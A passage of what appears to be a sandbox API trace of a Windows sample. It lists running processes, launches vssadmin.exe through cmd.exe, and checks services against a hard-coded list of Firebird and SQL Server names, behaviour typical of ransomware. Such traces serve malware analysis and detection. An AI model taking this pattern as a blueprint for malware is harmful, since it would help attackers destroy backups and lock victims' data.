th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0043.438] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0043.438] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0043.439] lstrlenW (lpString="batman_oliver.exe") returned 17 [0043.439] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0043.440] lstrlenW (lpString="formation.exe") returned 13 [0043.440] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0043.440] lstrlenW (lpString="whole.exe") returned 9 [0043.440] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0043.441] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0043.441] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0043.441] lstrlenW (lpString="disorder.exe") returned 12 [0043.442] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0043.442] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0043.442] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0043.443] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0043.443] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0043.443] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0043.443] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0043.444] lstrlenW (lpString="perspective.exe") returned 15 [0043.444] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0043.445] lstrlenW (lpString="demand-site.exe") returned 15 [0043.445] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0043.445] lstrlenW (lpString="attachment.exe") returned 14 [0043.445] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0043.654] lstrlenW (lpString="valid-permit.exe") returned 16 [0043.654] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0043.655] lstrlenW (lpString="knights.exe") returned 11 [0043.655] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.655] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.655] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0043.656] lstrlenW (lpString="mobsync.exe") returned 11 [0043.656] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0043.657] lstrlenW (lpString="ohbdap.exe") returned 10 [0043.657] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.657] lstrlenW (lpString="cmd.exe") returned 7 [0043.657] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.658] lstrlenW (lpString="conhost.exe") returned 11 [0043.658] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.658] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.659] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0043.659] lstrlenW (lpString="VSSVC.exe") returned 9 [0043.659] Process32NextW (in: hSnapshot=0x190, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0043.660] CloseHandle (hObject=0x190) returned 1 [0043.660] Sleep (dwMilliseconds=0x1f4) [0044.277] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x530048 [0044.277] EnumServicesStatusExW (in: hSCManager=0x530048, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0044.277] GetLastError () returned 0xea [0044.277] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0044.278] EnumServicesStatusExW (in: hSCManager=0x530048, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0044.278] CloseServiceHandle (hSCObject=0x530048) returned 1 [0044.278] lstrlenW (lpString="Appinfo") returned 7 [0044.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.279] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.279] lstrlenW (lpString="AudioSrv") returned 8 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.279] lstrlenW (lpString="BFE") returned 3 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.279] lstrlenW (lpString="CryptSvc") returned 8 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.279] lstrlenW (lpString="CscService") returned 10 [0044.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.279] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.279] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.280] lstrlenW (lpString="DcomLaunch") returned 10 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.280] lstrlenW (lpString="Dhcp") returned 4 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.280] lstrlenW (lpString="Dnscache") returned 8 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.280] lstrlenW (lpString="DPS") returned 3 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.280] lstrlenW (lpString="eventlog") returned 8 [0044.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.280] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.280] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.281] lstrlenW (lpString="EventSystem") returned 11 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.281] lstrlenW (lpString="gpsvc") returned 5 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.281] lstrlenW (lpString="iphlpsvc") returned 8 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.281] lstrlenW (lpString="LanmanServer") returned 12 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.281] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.281] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.281] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.282] lstrlenW (lpString="lmhosts") returned 7 [0044.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.282] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.282] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.282] lstrlenW (lpString="MMCSS") returned 5 [0044.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.282] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.282] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.282] lstrlenW (lpString="MpsSvc") returned 6 [0044.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.282] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.282] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.282] lstrlenW (lpString="Netman") returned 6 [0044.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.282] lstrlenW (lpString="netprofm") returned 8 [0044.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.283] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.283] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.283] lstrlenW (lpString="NlaSvc") returned 6 [0044.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.283] lstrlenW (lpString="nsi") returned 3 [0044.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.283] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.283] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.283] lstrlenW (lpString="PcaSvc") returned 6 [0044.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.283] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.283] lstrlenW (lpString="PlugPlay") returned 8 [0044.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.283] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.283] lstrlenW (lpString="Power") returned 5 [0044.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.284] lstrlenW (lpString="ProfSvc") returned 7 [0044.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.284] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.284] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.284] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.284] lstrlenW (lpString="RpcSs") returned 5 [0044.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.284] lstrlenW (lpString="SamSs") returned 5 [0044.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.284] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.284] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.285] lstrlenW (lpString="Schedule") returned 8 [0044.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.285] lstrlenW (lpString="SENS") returned 4 [0044.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.285] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.285] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.285] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.285] lstrlenW (lpString="Spooler") returned 7 [0044.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.285] lstrlenW (lpString="swprv") returned 5 [0044.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0044.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0044.285] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0044.286] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0044.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0044.286] lstrlenW (lpString="SysMain") returned 7 [0044.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.286] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.286] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.286] lstrlenW (lpString="Themes") returned 6 [0044.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.286] lstrlenW (lpString="TrkWks") returned 6 